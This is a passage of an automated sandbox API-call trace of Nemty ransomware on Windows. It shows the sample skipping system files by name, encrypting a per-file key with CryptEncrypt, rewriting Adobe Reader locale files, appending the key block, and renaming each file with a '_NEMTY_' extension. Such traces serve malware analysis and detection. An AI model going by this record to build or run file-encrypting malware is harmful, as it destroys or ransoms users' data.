lpString2="appdata") returned 1 [0183.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.196] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.RUS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.196] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.RUS", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.RUS", lpUsedDefaultChar=0x0) returned 12 [0183.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.197] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.RUS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.197] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.RUS", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.RUS", lpUsedDefaultChar=0x0) returned 12 [0183.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.197] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.RUS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.197] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.RUS", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.RUS", lpUsedDefaultChar=0x0) returned 12 [0183.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.197] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.RUS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0183.197] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.RUS", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.RUS", lpUsedDefaultChar=0x0) returned 12 [0183.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0183.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.197] Sleep (dwMilliseconds=0x5) [0183.204] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20d858b0, dwHighDateTime=0x1d561e8)) [0183.204] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20d858b0, dwHighDateTime=0x1d561e8)) [0183.204] GetLastError () returned 0x12 [0183.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.204] GetLastError () returned 0x12 [0183.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.204] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.204] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.204] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.205] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.205] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.205] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="nXX9q8OxKOffUn0h20xEjscxq9iFqPF3rSKySX/KPO/CDp5MaXOsCEM0RKwXzYiw\r\nvr8UXeD4qDwNT0FqVIBc33KsnKSjcXIW50UeNwhNR9sayR20jsTQlbAWcrM2fNKL\r\nUtUEKPIet+ZyINMe+n9c9nXyt08NhH1S5rsS6HSLo8lpPpEPXFuGeDbzh9OvuRLM\r\no9OF00s8D1oZcuA8iyCOywAXFW4fXb/lPE3oWO22NpqeecjTLaaYfq0PP4l7/2wM\r\nuWmP9Uv900oMstbri6juu6ipg0R1i/6R74OF1q0gKuWizp3NsZa1uhAy0n+GDDky\r\nNcxhj+3fd4HIrOhxX5CTuw==\r\n", pcchString=0x653e5dc) returned 1 [0183.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.205] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Spelling.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\spelling.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.205] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10240) returned 1 [0183.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2800) returned 0x6352c48 [0183.205] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.205] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2800, lpOverlapped=0x0) returned 1 [0183.208] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.208] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2800, lpOverlapped=0x0) returned 1 [0183.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.208] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2800 [0183.208] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.208] CloseHandle (hObject=0x2e8) returned 1 [0183.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0183.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.208] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Spelling.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\spelling.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Spelling.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\spelling.rus._nemty_kgobjgd_")) returned 1 [0183.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.209] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f50a880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Updater.RUS", cAlternateFileName="")) returned 1 [0183.209] lstrcmpiW (lpString1="Updater.RUS", lpString2=".") returned 1 [0183.209] lstrcmpiW (lpString1="Updater.RUS", lpString2="..") returned 1 [0183.209] lstrcmpiW (lpString1="Updater.RUS", lpString2="...") returned 1 [0183.209] lstrcmpiW (lpString1="Updater.RUS", lpString2="windows") returned -1 [0183.209] lstrcmpiW (lpString1="Updater.RUS", lpString2="$RECYCLE.BIN") returned 1 [0183.209] lstrcmpiW (lpString1="Updater.RUS", lpString2="rsa") returned 1 [0183.209] lstrcmpiW (lpString1="Updater.RUS", lpString2="NTDETECT.COM") returned 1 [0183.209] lstrcmpiW (lpString1="Updater.RUS", lpString2="ntldr") returned 1 [0183.209] lstrcmpiW (lpString1="Updater.RUS", lpString2="MSDOS.SYS") returned 1 [0183.209] lstrcmpiW (lpString1="Updater.RUS", lpString2="IO.SYS") returned 1 [0183.209] lstrcmpiW (lpString1="Updater.RUS", lpString2="boot.ini") returned 1 [0183.210] lstrcmpiW (lpString1="Updater.RUS", lpString2="boot.ini") returned 1 [0183.210] lstrcmpiW (lpString1="Updater.RUS", lpString2="AUTOEXEC.BAT") returned 1 [0183.210] lstrcmpiW (lpString1="Updater.RUS", lpString2="ntuser.dat") returned 1 [0183.210] lstrcmpiW (lpString1="Updater.RUS", lpString2="desktop.ini") returned 1 [0183.210] lstrcmpiW (lpString1="Updater.RUS", lpString2="CONFIG.SYS") returned 1 [0183.210] lstrcmpiW (lpString1="Updater.RUS", lpString2="RECYCLER") returned 1 [0183.210] lstrcmpiW (lpString1="Updater.RUS", lpString2="BOOTSECT.BAK") returned 1 [0183.210] lstrcmpiW (lpString1="Updater.RUS", lpString2="bootmgr") returned 1 [0183.210] lstrcmpiW (lpString1="Updater.RUS", lpString2="programdata") returned 1 [0183.210] lstrcmpiW (lpString1="Updater.RUS", lpString2="appdata") returned 1 [0183.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.RUS", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.RUS", lpUsedDefaultChar=0x0) returned 11 [0183.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.RUS", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.RUS", lpUsedDefaultChar=0x0) returned 11 [0183.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.RUS", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.RUS", lpUsedDefaultChar=0x0) returned 11 [0183.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.RUS", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.RUS", lpUsedDefaultChar=0x0) returned 11 [0183.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.210] Sleep (dwMilliseconds=0x5) [0183.227] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20daba10, dwHighDateTime=0x1d561e8)) [0183.227] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20daba10, dwHighDateTime=0x1d561e8)) [0183.227] GetLastError () returned 0x0 [0183.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.227] GetLastError () returned 0x0 [0183.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.227] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.227] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.227] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.227] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="o/CZC7CXkPghULL7/MbTzzrz2hFW0NUx1JevtMUpZFvIbb20QYnmJCiOyanb43D4\r\nzlUEZfSd9CXcDKJstEdOXxA1EeVAbfakDcSt6muL28UhOH5Qbqeec5rzgwzefhKO\r\nEQK2I8iExJuuxFT5v5p8JaLiM+e8YzbgcCzkucw9RWMMXmimJ/PTN4x9BpxOi7Wc\r\n0XAxH00Gennjirrk/MRhut3UWEVZpV0bx/OEfRaZ07o+vjp1toccbIOQt9it/cOQ\r\nGmL+J3lTGTw+TucVh5kAsfVPyQHqBW9sJ4NPaMpCSg9tQP0uQCNo5WDdR1f8iIlD\r\nMpdTINZc8J/H3CEd3PFidQ==\r\n", pcchString=0x653e5dc) returned 1 [0183.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.227] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Updater.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\updater.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.228] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10240) returned 1 [0183.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2800) returned 0x6352c48 [0183.228] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.228] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2800, lpOverlapped=0x0) returned 1 [0183.230] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.230] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2800, lpOverlapped=0x0) returned 1 [0183.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.231] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2800 [0183.231] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.231] CloseHandle (hObject=0x2e8) returned 1 [0183.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.231] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.231] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0183.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.231] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Updater.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\updater.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Updater.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\updater.rus._nemty_kgobjgd_")) returned 1 [0183.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.232] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Weblink.RUS", cAlternateFileName="")) returned 1 [0183.232] lstrcmpiW (lpString1="Weblink.RUS", lpString2=".") returned 1 [0183.232] lstrcmpiW (lpString1="Weblink.RUS", lpString2="..") returned 1 [0183.232] lstrcmpiW (lpString1="Weblink.RUS", lpString2="...") returned 1 [0183.232] lstrcmpiW (lpString1="Weblink.RUS", lpString2="windows") returned -1 [0183.232] lstrcmpiW (lpString1="Weblink.RUS", lpString2="$RECYCLE.BIN") returned 1 [0183.232] lstrcmpiW (lpString1="Weblink.RUS", lpString2="rsa") returned 1 [0183.232] lstrcmpiW (lpString1="Weblink.RUS", lpString2="NTDETECT.COM") returned 1 [0183.232] lstrcmpiW (lpString1="Weblink.RUS", lpString2="ntldr") returned 1 [0183.232] lstrcmpiW (lpString1="Weblink.RUS", lpString2="MSDOS.SYS") returned 1 [0183.233] lstrcmpiW (lpString1="Weblink.RUS", lpString2="IO.SYS") returned 1 [0183.233] lstrcmpiW 